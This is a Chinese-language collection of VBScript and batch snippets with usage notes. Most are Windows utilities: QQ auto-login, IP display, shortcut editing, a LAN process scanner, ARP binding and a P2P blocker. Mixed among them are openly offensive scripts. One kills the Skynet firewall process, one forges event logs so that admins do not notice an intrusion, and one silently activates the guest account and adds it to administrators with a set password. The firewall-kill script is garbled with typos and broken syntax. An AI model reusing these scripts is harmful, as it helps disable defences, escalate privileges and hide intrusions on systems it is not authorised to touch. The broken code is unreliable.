//利用VBS腳本使用兩個(gè)VBS腳本來(lái)實(shí)現(xiàn)讓QQ永遠(yuǎn)在線
1.QQ自動(dòng)登錄腳本 
set fso = Wscript.createObject("Scripting.FileSystemObject")
Set f = fso.createTextFile("QQ自動(dòng)登錄.bat",true)
f.WriteLine "@echo off" & vbcrlf
for each ps in getｏｂｊｅｃｔ("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \'列出系統(tǒng)中所有正在運(yùn)行的程序
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then \'檢測(cè)是否QQ或TM
QQCMD=ps.commandline \'提取QQ程序的命行
tmp=Replace(QQCMD,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
if not len(UIN1)=0 then
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) \'取QQ號(hào)碼.
QQ=QQ+1
QQNUM=QQNUM & "QQ號(hào)碼" & QQ & ":" & vbtab & QQUIN & vbcrlf
f.WriteLine "ECHO QQ號(hào)碼:" & QQUIN
f.WriteLine "ECHO 命令行:" & QQCMD
f.WriteLine QQCMD & vbcrlf
end if
end if
next
if not len(QQ)=0 then
MSGBOX "已經(jīng)成功提取以下QQ號(hào)碼的自動(dòng)登錄命令行" & vbcrlf & vbcrlf & QQNUM & vbcrlf & "具體請(qǐng)查看當(dāng)前目錄下的文件",0,"QQ自動(dòng)
登錄命令提取腳本 BY chenall QQ:XXXXXX"
else
msgbox "提取QQ自動(dòng)登錄命令失敗,請(qǐng)查看QQ或TM是否正在運(yùn)行.",0,"QQ自動(dòng)登錄命令提取腳本 BY chenall QQ:XXXXXX"
f.close
set f = fso.getfile("QQ自動(dòng)登錄.bat")
f.delete
end if
將這些代碼存儲(chǔ)為"*.vbs"文件。然后將所有需要自動(dòng)登錄的QQ號(hào)碼全部登錄，再在一個(gè)QQ上點(diǎn)擊"菜單"→"一鍵切換到TM"。此后運(yùn)行該VBS腳本，會(huì)發(fā)現(xiàn)在當(dāng)前目錄下生成了一個(gè)"QQ自動(dòng)登陸.bat"的文件，運(yùn)行該文件即可自動(dòng)登錄所有QQ號(hào)碼。
小提示：代碼中的"XXXXXX"代表你的QQ號(hào)。

2.QQ防止關(guān)閉腳本
dim QQUIN
for each ps in getｏｂｊｅｃｔ("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \'列出系統(tǒng)中所有正在運(yùn)行的程序
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then \'檢測(cè)是否QQ或TM
AppPath=ps.commandline \'提取QQ程序的命行
tmp=Replace(AppPath,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6 
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) \'取QQ號(hào)碼.
end if
next
if len(QQUIN)=0 then
msgbox "系統(tǒng)中沒(méi)有運(yùn)行QQ或TM程序,請(qǐng)重新啟動(dòng)QQ或TM,登陸后再使用一鍵換切換一下QQ或TM程序,再運(yùn)行本腳本"
else
do \'循環(huán)檢測(cè)
myqqin=chkuin(QQUIN) \'檢測(cè)上面提取出來(lái)的QQ號(hào)碼是否有在本機(jī)打開(kāi)
if not myqqin then \'如果沒(méi)有運(yùn)行則,重新運(yùn)行QQ程序并登錄 
runapp(AppPath) \'
wscript.sleep 10000 \'等待10秒
else
wscript.sleep 5000 \'等待5秒
end if
loop \'返回繼續(xù)檢測(cè)
end if

function RunApp(AppPath)
dim obj
set obj = createｏｂｊｅｃｔ("WScript.Shell")
obj.exec(AppPath)
end function

function chkuin(QQUIN)
for each ps in getｏｂｊｅｃｔ("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ 
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then
AppPatht=ps.commandline
\'by chenall qq 368178720
tmp=Replace(AppPatht,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
QQUINTMP=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1)
if QQUINTMP=QQUIN then chkuin=true end if
end if
next
end function
將以上代碼存儲(chǔ)為"*.vbs"文件。而后登錄QQ，一鍵切換到TM，再運(yùn)行VBS腳本。此后，即使關(guān)閉了TM/QQ，它也會(huì)自動(dòng)啟動(dòng)并登錄至網(wǎng)絡(luò)。經(jīng)筆者在Windows XP SP2系統(tǒng)上測(cè)試，完全有效。

//kill進(jìn)程 vbs腳本 
寫(xiě)一個(gè)VBS腳本:
在SHELL里輸入:
copy con kill.vbs (菜鳥(niǎo)注意:執(zhí)行完這行之后就沒(méi)有命令提示符了)
CODEstrComputer = "."
Set objWMIServive = GetObject("winmagmts:" _ 
& "{impersonationLevel=impcrsonatc}!\\" &strComputer & "\root\cimv2"
Set colProcesslist = objWMIService.ExecQuery _
("select * from Win32 Process Where Name = 'PFWMain.exe'"
For Each objPrecess in colProcessList
objProcess.Terminate()
Next

'PFWMain'是天網(wǎng)的防火墻,你可以自行更改
輸入完之后同時(shí)按下"CTRL"+"z",命令提示符就又出來(lái)了.
然后就是執(zhí)行他了:
csript kill.vbs 

//顯示本機(jī)IP地址
Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress

//利用腳本偽造日志
　刪除日志后，任何一個(gè)有頭腦的管理員面對(duì)空空的日志，馬上就會(huì)反應(yīng)過(guò)來(lái)被入侵了，所以一個(gè)聰明的黑客的學(xué)會(huì)如何偽造日志。利用腳本編程中的eventlog方法創(chuàng)造日志非常簡(jiǎn)單，請(qǐng)看下面的代碼：

set ws=wscript.createｏｂｊｅｃｔ("Wscript.shell")
ws.logevent 0 ,"write log success" '創(chuàng)建一個(gè)成功執(zhí)行日志

　　將上面的代碼保存為createlog.vbs即可。這段代碼很容易理解，首先獲得wscript的一個(gè)shell對(duì)象，然后利用shell對(duì)象的logevent方法。logevent的用法：logevent eventtype,"description" [,remote system]，其中eventtype為日志類(lèi)型，可以使用的參數(shù)如下：0代表成功執(zhí)行，1執(zhí)行出錯(cuò)，2警告，4信息，8成功審計(jì)，16故障審計(jì)。所以上面代碼中，把0改為1,2,4,8,16均可，引號(hào)中的內(nèi)容為日志描述。利用這種方法寫(xiě)的日志有一個(gè)缺點(diǎn)，即只能寫(xiě)到應(yīng)用程序日志，而且日志來(lái)源只能為 WSH，即Windows Scripting Host，所以不能起太多的隱蔽作用，在此僅供大家參考。

//執(zhí)行外部程序
用記事本編輯如下內(nèi)容：

DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)

　　保存為.vbs文件即可。在這段代碼中，我們首先設(shè)置了一個(gè)環(huán)境變量，其名為var，而值為world，用戶(hù)可以使用%Comspec%來(lái)代替cmd.exe，并且可以把命令：set var=world改成其它的命令，這樣就可以使它可以運(yùn)行任意的命令。
set ws=wscript.createｏｂｊｅｃｔ("wscript.shell")
ws.run "bat.bat /start",0
將上面代碼寫(xiě)在記事本里保存擴(kuò)展名為**.vbs ,其中批處理將不再顯示窗口并在運(yùn)行后自動(dòng)結(jié)束腳本.
//延時(shí)啟動(dòng)運(yùn)行某程序
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(60000)
Wsh.Run "D:\bat.bat",,True
Set Wsh=NoThing
WScript.quit
掃描非法上機(jī)的腳本：

Option Explicit
'On Error Resume Next
Dim intStartingAddress,intEndingAddress,strSubnet,strComputer,ProName
Dim objShell,strCommand,objExecObject,strText

intStartingAddress = 1 '設(shè)置起始IP
intEndingAddress = 100 '設(shè)置結(jié)束IP
strSubnet = "192.168.0." '設(shè)置IP段前綴
ProName = "SMENU.exe" '你要檢查的進(jìn)程名，注意大小寫(xiě)

Dim Wsh,fso,logfile
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set logfile = fso.OpenTextFile("掃描記錄.txt",2,True)
logfile.Writeline time&" 開(kāi)始掃描"
logfile.WriteBlankLines(1)
Dim i
For i = intStartingAddress to intEndingAddress
strComputer = strSubnet & i
Set objShell = CreateObject("WScript.Shell")
strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & ""
Set objExecObject = objShell.Exec(strCommand)
Do While Not objExecObject.StdOut.AtEndOfStream
strText = objExecObject.StdOut.ReadAll()
If Instr(strText, "Reply") > 0 Then
If Not CheckPro(strComputer,ProName) Then
Doit(strComputer)
End If
End If
Loop
Next
logfile.WriteBlankLines(1)
logfile.Writeline time&" 掃描結(jié)束"
logfile.close
Msgbox "掃描結(jié)束",64,"掃描結(jié)束"
WScript.quit


Function CheckPro(strComputer,ProName)
Dim objWMIService,colProcesses,objProcess
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
CheckPro = False
For Each objProcess in colProcesses
If objProcess.Name = ProName Then
CheckPro = True
Exit For
End If
Next
End Function

Sub Doit(strComputer)
logfile.Writeline "注意 "&strComputer&" 狀態(tài)異常 "&time
Wsh.popup "注意 "&strComputer&" 狀態(tài)異常",5
End Sub

//修改快捷方式路徑的腳本：（放到裝快捷方式的文件夾里執(zhí)行）

Option Explicit
Dim oldpath,newpath

oldpath = "x:\game" '設(shè)置原路徑中將被替換的內(nèi)容
newpath = "g:\game\langame" '設(shè)置新路徑中要使用的內(nèi)容

Dim Wsh,fso
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Dim ji_1,ji_2,Folder
ji_1 = 0
ji_2 = 0
Folder = Wsh.CurrentDirectory
if Ask("將要修改"&chr(34)& Folder &chr(34)&"里的所有快捷方，是否繼續(xù)") then
Dim f,fc,f1,ext
Set f = fso.GetFolder(Folder)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
ji_1 = ji_1 + 1
call Doit(f1)
end if
Next
end if

Set WSH = Nothing
msgbox "找到 "&ji_1&" 個(gè)快捷方式"&vbCrLf&"修改 "&ji_2&" 個(gè)快捷方式",64,"執(zhí)行完畢"
WScript.quit

Sub Doit(strlnk)
Dim oShlnk
Set oShlnk = Wsh.CreateShortcut(strlnk)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.TargetPath = Replace(oShLnk.TargetPath,oldpath,newpath)
oShLnk.Save
ji_2 = ji_2 + 1
End If
Set oShLnk=NoThing
End Sub

Function Ask(strAction)
Dim intButton
intButton = MsgBox(strAction,vbQuestion + vbYesNo,"詢(xún)問(wèn)")
Ask = intButton = vbYes
End Function

//根據(jù)機(jī)器名列表執(zhí)行代碼的腳本：

'注意，"保存機(jī)器名的文件.txt" 為一行一個(gè)機(jī)器名
dim fso,cnamefile,cname
Set fso = CreateObject("Scripting.FileSystemObject")
Set cnamefile = fso.OpenTextFile("保存機(jī)器名的文件.txt",1)
Do While cnamefile.AtEndOfStream <> True
cname = cnamefile.ReadLine
Doit(cname)
Loop
cnamefile.close

Sub Doit(Name)
Msgbox Name
'''''''''
'''''''''
'你要執(zhí)行的代碼
'''''''''
'''''''''
End Sub

//運(yùn)行注冊(cè)表，拷貝文件，運(yùn)行指定程序VBS
'On Error Resume Next
Dim oShell,fso
Set oShell = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
oShell.Run "regedit /s 01.reg"
fso.copyfile "D:\棋牌游戲\邊鋒\!邊鋒圖標(biāo)\copy\*.*","C:\WINNT\system32\"
oShell.Run "D:\棋牌游戲\邊鋒\asdegame.exe"
set oshell = nothing
set fso = nothing
WScript.quit

//利用VBS將guest提升為adminstrator。

dim wsh 
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 5201314",0
wsh.run "net localgroup administrators guest /add",0
其中5201314為guest的密碼
//綁定IP和MAC的批處理兄弟 vbs

wscript.sleep 15000

gw="192.168.8.8"
mac="00-e0-4c-41-8a-65"

Set objShell = CreateObject("WScript.Shell")
objShell.Run "arp -s "+gw+" "+mac

以上腳本　復(fù)制－粘貼－另存　mac.vbs 格式

以下說(shuō)明

做了一個(gè)小改動(dòng).15秒時(shí)延　wscript.sleep 15000

wscript.sleep 15000
gw="192.168.8.8"　設(shè)為你工作站的網(wǎng)關(guān)IP地址。
mac="00-e0-4c-41-8a-65"mac設(shè)為你網(wǎng)關(guān)服務(wù)器的mac地址。

'(網(wǎng)關(guān)服務(wù)器mac地址.可以在正常情況下工作站執(zhí)行用 arp -a或是由代理服務(wù)器上查看到
一般來(lái)說(shuō),一個(gè)網(wǎng)吧內(nèi)的網(wǎng)關(guān)mac地址是相同的。)
'書(shū)寫(xiě)格式請(qǐng)你參照腳本里面的寫(xiě)法。

//批處理編的非法進(jìn)程監(jiān)控器(原創(chuàng))

注解:


@ECHO DIM OBJSHELL >NOWINDOWS.VBS
@ECHO SET OBJSHELL=WSCRIPT.CREATEObject("WSCRIPT.SHELL") >>NOWINDOWS.VBS
@ECHO IRETURN=OBJSHELL.RUN("CMD.EXE /C TASK.BAT", 0, TRUE) >>NOWINDOWS.VBS
@ECHO WSCRIPT.SLEEP(2000) >TIME.VBS
上面這些都不用改了
主要就是下面這些了
大家看到PP VAGAA這些名稱(chēng)應(yīng)該不會(huì)眼生吧，對(duì)！他就是我們要禁的P2P軟件的名稱(chēng)，如果要添加的話，可以在
@ECHO GOTO TASK >>TASK.BAT這段命令的前面再加上一段，例要禁QQ ，@ECHO TSKILL QQ >>TASK.BAT，千萬(wàn)不要加后綴，加上就不能使用了。

@ECHO :TASK >TASK.BAT
@ECHO TIME.VBS >>TASK.BAT
@ECHO TSKILL PP >>TASK.BAT
@ECHO TSKILL VAGAA >>TASK.BAT
@ECHO TSKILL POCO >>TASK.BAT
@ECHO TSKILL KUGOO >>TASK.BAT
@ECHO TSKILL FLASHGET >>TASK.BAT
@ECHO GOTO TASK >>TASK.BAT
START WSCRIPT.EXE NOWINDOWS.VBS

最新評(píng)論